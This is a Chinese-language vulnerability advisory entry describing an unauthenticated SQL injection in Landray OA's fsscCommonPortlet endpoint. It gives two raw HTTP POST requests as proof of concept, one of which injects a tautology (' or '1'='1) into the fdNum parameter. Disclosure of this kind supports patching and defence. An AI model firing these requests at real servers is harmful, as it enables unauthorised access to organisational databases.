蓝凌OA fsscCommonPortlet 未授权SQL注入漏洞

日期: 2024-11-07 | 影响软件: 蓝凌OafsscCommonPortlet | POC: 已公开

漏洞描述

SQL注入漏洞是指攻击者通过在Web应用程序的输入字段中插入恶意SQL代码，从而绕过应用程序的安全措施，直接对数据库执行非法操作。这种漏洞通常发生在应用程序未对用户输入进行充分验证和过滤的情况下，使得攻击者能够获取、修改或删除数据库中的数据，甚至可能执行服务器上的任意代码。

PoC代码

https://xz.aliyun.com/t/16103

POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

method=saveICare&fdId=&fdNum=1&docSubject=1&fdName=1&createTime=1&fdStatus=1

POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

method=getICareByFdId&fdNum=asdasd'+or+'1'='1&ordertype=down

相关漏洞推荐